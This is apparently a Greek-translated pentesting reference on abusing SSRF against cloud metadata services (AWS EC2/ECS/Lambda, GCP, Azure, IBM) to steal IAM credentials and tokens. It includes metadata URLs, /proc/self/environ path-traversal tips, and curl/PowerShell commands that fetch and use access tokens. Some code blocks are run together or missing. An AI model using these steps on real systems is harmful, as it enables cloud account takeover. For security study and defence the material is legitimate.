Το metadata σημείο πρόσβασης μπορεί να προσπελαστεί από οποιαδήποτε μηχάνημα EC2 και προσφέρει ενδιαφέρουσες πληροφορίες για αυτό. Είναι προσβάσιμο στη διεύθυνση: http://169.254.169.254 (πληροφορίες σχετικά με τα metadata εδώ).
Υπάρχουν 2 εκδόσεις του σημείου πρόσβασης στα metadata. Η πρώτη επιτρέπει την πρόσβαση στο σημείο πρόσβασης μέσω αιτήσεων GET (έτσι μια SSRF μπορεί να το εκμεταλλευτεί). Για τη δεύτερη έκδοση, IMDSv2, πρέπει να ζητήσετε ένα διακριτικό στέλνοντας μια αίτηση PUT με ένα HTTP header και στη συνέχεια να χρησιμοποιήσετε αυτό το διακριτικό για να έχετε πρόσβαση στα metadata με ένα άλλο HTTP header (έτσι είναι πιο περίπλοκο να εκμεταλλευτείτε με μια SSRF).
Σημειώστε ότι αν η περίπτωση EC2 επιβάλλει το IMDSv2, σύμφωνα με τα έγγραφα, η απάντηση της αίτησης PUT θα έχει ένα όριο hop του 1, κάνοντας αδύνατη την πρόσβαση στα metadata του EC2 από ένα container μέσα στην περίπτωση EC2.
Επιπλέον, το IMDSv2 θα αποκλείσει επίσης τις αιτήσεις για τη λήψη ενός διακριτικού που περιλαμβάνουν το X-Forwarded-For header. Αυτό γίνεται για να αποτρέψει τις λανθασμένα ρυθμισμένες αντίστροφες διακριτικές από το να έχουν πρόσβαση σε αυτό.
Μπορείτε να βρείτε πληροφορίες σχετικά με τα σημεία πρόσβασης στα metadata στα έγγραφα. Στο παρακάτω σενάριο αποκτώνται ορισμένες ενδιαφέρουσες πληροφορίες από αυτό:
Στη συνέχεια μπορείτε να πάρετε αυτά τα διαπιστευτήρια και να τα χρησιμοποιήσετε με το AWS CLI. Αυτό θα σας επιτρέψει να κάνετε οτιδήποτε έχει άδεια ο ρόλος να κάνει.
Για να εκμεταλλευτείτε τα νέα διαπιστευτήρια, θα πρέπει να δημιουργήσετε ένα νέο προφίλ AWS όπως το παρακάτω:
Παρατηρήστε το aws_session_token, αυτό είναι απαραίτητο για το προφίλ να λειτουργεί.
PACU μπορεί να χρησιμοποιηθεί με τα ανακαλυμμένα διαπιστευτήρια για να μάθετε τα προνόμιά σας και να προσπαθήσετε να αναβαθμίσετε τα προνόμια
SSRF στα διαπιστευτήρια του AWS ECS (Υπηρεσία Ελαστικού Ελέγχου Κοντέινερ)
ECS, είναι μια λογική ομάδα EC2 παραδειγμάτων στα οποία μπορείτε να εκτελέσετε μια εφαρμογή χωρίς να χρειάζεται να κλιμακώσετε τη δική σας υποδομή διαχείρισης συστάδων επειδή το ECS το διαχειρίζεται για εσάς. Εάν καταφέρετε να διακινδυνεύσετε την υπηρεσία που εκτελείται στο ECS, οι μεταδεδομένες καταλήγουν.
Αν έχετε πρόσβαση στο http://169.254.170.2/v2/credentials/<GUID> θα βρείτε τα διαπιστευτήρια της μηχανής του ECS. Αλλά πρώτα πρέπει να βρείτε το <GUID>. Για να βρείτε το <GUID> πρέπει να διαβάσετε τη μεταβλητή environAWS_CONTAINER_CREDENTIALS_RELATIVE_URI μέσα στη μηχανή.
Μπορείτε να το διαβάσετε εκμεταλλευόμενοι ένα Path Traversal στο file:///proc/self/environ
Η αναφερόμενη διεύθυνση http θα σας δώσει τα AccessKey, SecretKey και token.
Σημειώστε ότι σε κάποιες περιπτώσεις θα μπορείτε να έχετε πρόσβαση στα μεταδεδομένα της EC2 instance από το container (ελέγξτε τους περιορισμούς TTL του IMDSv2 που αναφέρθηκαν προηγουμένως). Σε αυτά τα σενάρια από το container μπορείτε να έχετε πρόσβαση τόσο στον ρόλο IAM του container όσο και στον ρόλο IAM της EC2.
SSRF για το AWS Lambda
Σε αυτήν την περίπτωση οι διαπιστευτήρια αποθηκεύονται σε μεταβλητές περιβάλλοντος. Έτσι, για να έχετε πρόσβαση σε αυτά, χρειάζεται να έχετε πρόσβαση σε κάτι σαν το file:///proc/self/environ.
Τα ονόματα των ενδιαφέρουσων μεταβλητών περιβάλλοντος είναι:
AWS_SESSION_TOKEN
AWS_SECRET_ACCESS_KEY
AWS_ACCES_KEY_ID
Επιπλέον, εκτός από τα διαπιστευτήρια IAM, οι λειτουργίες Lambda έχουν επίσης δεδομένα συμβάντων που περνούν στη λειτουργία όταν ξεκινά. Αυτά τα δεδομένα είναι διαθέσιμα στη λειτουργία μέσω της διεπαφής εκτέλεσης και μπορεί να περιέχει ευαίσθητες πληροφορίες (όπως μέσα στις stageVariables). Αντίθετα με τα διαπιστευτήρια IAM, αυτά τα δεδομένα είναι προσβάσιμα μέσω του τυπικού SSRF στο http://localhost:9001/2018-06-01/runtime/invocation/next.
Σημειώστε ότι τα διαπιστευτήρια lambda βρίσκονται μέσα στις μεταβλητές περιβάλλοντος. Έτσι, αν το stack trace του κώδικα lambda εκτυπώνει μεταβλητές περιβάλλοντος, είναι δυνατόν να τις εξαγάγετε προκαλώντας ένα σφάλμα στην εφαρμογή.
SSRF URL για το AWS Elastic Beanstalk
Ανακτούμε το accountId και την περιοχή (region) από το API.
Για να χρησιμοποιήσετε το διαρρεύσει token λογαριασμού υπηρεσίας απλά μπορείτε να κάνετε:
# Via env varsexport CLOUDSDK_AUTH_ACCESS_TOKEN=<token>gcloudprojectslist# Via setupecho"<token>">/some/path/to/tokengcloudconfigsetauth/access_token_file/some/path/to/tokengcloudprojectslistgcloudconfigunsetauth/access_token_file
# PowershellInvoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
## User data$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))# Paths/metadata/instance?api-version=2017-04-02/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text/metadata/instance/compute/userData?api-version=2021-01-01&format=text
Υπηρεσία Εφαρμογής Azure
Από το env μπορείτε να λάβετε τις τιμές των IDENTITY_HEADERκαιIDENTITY_ENDPOINT. Αυτό μπορείτε να χρησιμοποιήσετε για να συγκεντρώσετε ένα τοκέν για να επικοινωνήσετε με τον διακομιστή μεταδεδομένων.
Συνήθως, θέλετε ένα τοκέν για έναν από αυτούς τους πόρους:
# Check for those env vars to know if you are in an Azure appecho $IDENTITY_HEADERecho $IDENTITY_ENDPOINT# You should also be able to find the folder:ls/opt/microsoft#and the filels/opt/microsoft/msodbcsql17# Get management tokencurl"$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01"-Hsecret:$IDENTITY_HEADER# Get graph tokencurl"$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01"-Hsecret:$IDENTITY_HEADER# API# Get SubscriptionsURL="https://management.azure.com/subscriptions?api-version=2020-01-01"curl-H"Authorization: $TOKEN""$URL"# Get current permission on resources in the subscriptionURL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"curl-H"Authorization: $TOKEN""$URL"# Get permissions in a VMURL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"
curl-H"Authorization: $TOKEN""$URL"
# API request in powershell to management endpoint$Token ='eyJ0eX..'$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# API request to graph endpoint (get enterprise applications)$Token ='eyJ0eX..'$URI ='https://graph.microsoft.com/v1.0/applications'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# Using AzureAD Powershell module witho both management and graph tokens$token ='eyJ0e..'$graphaccesstoken ='eyJ0eX..'Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc
# Try to get current perms over resourcesGet-AzResource## The following error means that the user doesn't have permissions over any resourceGet-AzResource : 'this.Client.SubscriptionId' cannot be null.At line:1 char:1+Get-AzResource+ ~~~~~~~~~~~~~~+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException+ FullyQualifiedErrorId :Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
IBM Cloud
Σημειώστε ότι στην IBM από προεπιλογή τα μεταδεδομένα δεν είναι ενεργοποιημένα, οπότε είναι πιθανόν να μην μπορείτε να έχετε πρόσβαση σε αυτά ακόμα και αν βρίσκεστε μέσα σε ένα IBM cloud VM.
export instance_identity_token=`curl-s-XPUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\-H "Metadata-Flavor: ibm"\-H "Accept: application/json"\-d '{"expires_in": 3600}' |jq-r '(.access_token)'`# Get instance detailscurl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
# Get SSH keys infocurl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq
# Get SSH keys fingerprints & user datacurl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq
# Get placement groupscurl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq
# Get IAM credentialscurl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
Η τεκμηρίωση για τις υπηρεσίες μεταδεδομένων διάφορων πλατφορμών περιγράφεται παρακάτω, επισημαίνοντας τις μεθόδους μέσω των οποίων μπορεί να γίνει πρόσβαση σε πληροφορίες διαμόρφωσης και εκτέλεσης για τις προγραμματικές περιπτώσεις. Κάθε πλατφόρμα προσφέρει μοναδικά σημεία πρόσβασης για τις υπηρεσίες μεταδεδομένων της.